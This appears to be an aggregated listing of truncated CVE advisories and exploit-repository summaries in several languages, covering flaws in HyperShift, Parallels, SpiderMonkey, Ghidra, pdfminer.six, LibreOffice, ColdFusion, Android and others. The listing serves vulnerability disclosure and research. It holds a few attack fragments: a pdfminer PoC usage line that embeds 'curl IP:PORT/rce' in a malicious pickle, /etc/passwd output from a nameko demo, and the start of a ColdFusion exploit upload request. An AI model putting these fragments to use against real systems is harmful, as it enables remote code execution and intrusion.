CVE-2026-101919 Hypershift: hypershift: unsanitized kubeconfig passthrough from tenant namespace to control plane

A flaw was found in the HyperShift operator. The operator copies user-provided Kubernetes configuration kubeconfig secrets directly into the privileged control plane namespace without proper validation or sanitization. An authenticated user with cluster and secret creation permissions can exploit...

CVE-2026-101919

A vulnerability exists in the HyperShift operator where it copies user-provided kubeconfig secrets directly into the privileged control plane namespace without sufficient validation or sanitization. An authenticated user with cluster and secret creation permissions can exploit this by supplying a...

CVE-2026-101919

A flaw was found in the HyperShift operator. The operator copies user-provided Kubernetes configuration kubeconfig secrets directly into the privileged control plane namespace without proper validation or sanitization. An authenticated user with cluster and secret creation permissions can exploit...

CVE-2023-27326

Parallels Desktop VM 탈출 이 저장소에는 CVE-2023-27326으로 지정된 Parallels Desktop 취약점에 대한 익스플로잇이 포함되어 있습니다. 이 취약점은 로컬 공격자가 영향을 받는 Parallels Desktop 설치 환경에서 권한을 상승시킬 수 있게 합니다. 이 익스플로잇은 Parallels Desktop 18.0.053049 버전에서 테스트되었으며, 해당 취약점은 18.1.153328 보안 업데이트에서 패치되었습니다. 취약점 세부 정보 구체적인 결함은 Toolgate 구성 요소에 존재합니다....

CVE-2026-2796-escape-wasm-by-using-wasm

CVE-2026-2796 — SpiderMonkey WebAssembly サンドボックスエスケープ CVE-2026-2796 の概念実証エクスプロイトチェーン。Mozilla SpiderMonkey の WebAssembly インポート最適化（"JavaScript: WebAssembly" コンポーネント）における JIT 誤コンパイル / 型混乱です。細工された wasm モジュールにより、ホストプロセス全体に対する任意読み書き と任意のネイティブコード実行 が可能となり、WebAssembly サンドボックスから脱出します。 CVE: CVE-2026-2796...

CVE-2026-18718

Advisory: GHSA-pcfh-853f-q3gh · Severity: High CVSS 7.5 · Affected: Ghidra ≤ 12.1.2 · Fixed: c03a70d Ghidra 12.1.3 Opening someone else's Ghidra project was enough to execute their code. Ghidra 12.1.2 stores analyzer options inside the program database , and one of those options is a filesystem...

CVE-2025-64512

CVE-2025-64512 pdfminer.six에서 조작된 PDF 입력을 통한 임의 코드 실행 PoC https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp 기반 % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz % python3 mkpdf.py -h usage: mkpdf.py -h -o OUTPUT -p PAT...

CVE-2026-63277

A flaw was found in LibreOffice. When linking spreadsheet cell ranges to external data sources in Calc, a document can specify an external Java database driver. By convincing a user to open a specially crafted document, a remote attacker can force the application to download and execute untrusted...

SUSE CVE-2019-25777

YAML versions before 1.27001 for Perl allow a loaded perl/glob document to replace any package variable, which can lead to arbitrary code execution. A perl/glob document names a package and a symbol, and supplies the value assigned to it. Nothing restricts the name, so the target can be @INC or...

CVE-2022-20186_CTXZ

Exploit for CVE-2022-20186 The write up can be found here. This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is...

CVE-2021-40870

CVE-2021-40870 Exploitation An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal. Modules need to Install To run this project...

Reproduce-CVE-2024-21513

Reproduce-CVE-2024-21513 Overview This project demonstrates the vulnerability CVE-2024-21513 in the langchain-experimental package, specifically in versions =0.0.15 and 0.0.21. The vulnerability allows arbitrary code execution via the VectorSQLDatabaseChain component when retrieving values from t...

CVE-2026-88392

Unimall v4 is vulnerable to Directory Traversal in FileUploadController.local. This allows an attacker to execute arbitrary code...

2017-11882_Generator

CVE-2017-11882 A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. 2017-11882Generator This is ...

CVE-2021-41078

CVE-2021-41078 nameko의 YAML 역직렬화로 인한 임의 코드 실행 NVD 설명 Nameko 2.13.0 이하 버전은 설정 파일을 역직렬화할 때 임의 코드 실행을 수행하도록 속일 수 있습니다. 데모 설정 1. Dockerfile에서 이미지 빌드 docker build -t cve-2021-41078 . 2. 새 컨테이너에서 python main.py 실행 docker run -it --rm cve-2021-41078 /etc/passwd 출력 root:x:0:0:root:/root:/bin/bash...

SpringBreakVulnerableApp

Spring Break 취약 애플리케이션 Spring Break 취약점CVE-2017-8046에 대한 익스플로잇을 테스트하기 위한 취약 애플리케이션입니다. 경고! 이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 실행 시 본인 책임입니다! 백업된 격리 환경예: 최신 스냅샷과 호스트 전용 네트워킹을 갖춘 VM에서 사용하는 것이 권장됩니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 반드시 침해될 것입니다. 면책 조항 : 본 애플리케이션SpringBreakVulnerableApp을 사용하는 방식에 대...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT Deserialization - Je Yiuwai's Blog CVE-2023-0669 CVE-2023-0669 is a GoAnywhere MFT deserialization vulnerability. Due to the deserialization of an arbitrary attacker-controlled object, a pre-authenticated command injection vulnerability exists in the License Response...

USN-8868-1 libreoffice vulnerabilities

It was discovered that LibreOffice incorrectly handled WMF image imports. An attacker could possibly use this issue to cause LibreOffice to crash, resulting in a denial of service, or execute arbitrary code. CVE-2026-63272 It was discovered that LibreOffice incorrectly handled PDF document import...

CVE-2018-15961

CVE-2018-15961 Adobe ColdFusion における制限のないファイルアップロード POST /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: coldfusion:port User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/62.0.3202.9 Safari/537.36 Content-Type:...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Description Python script for exploiting CVE-2024-0039: arbitrary code execution on vulnerable Android devices. WARNING : This code is intended for educational and constructive purposes only, on the side of good, so to speak! Usage Run the script with the necessary arguments...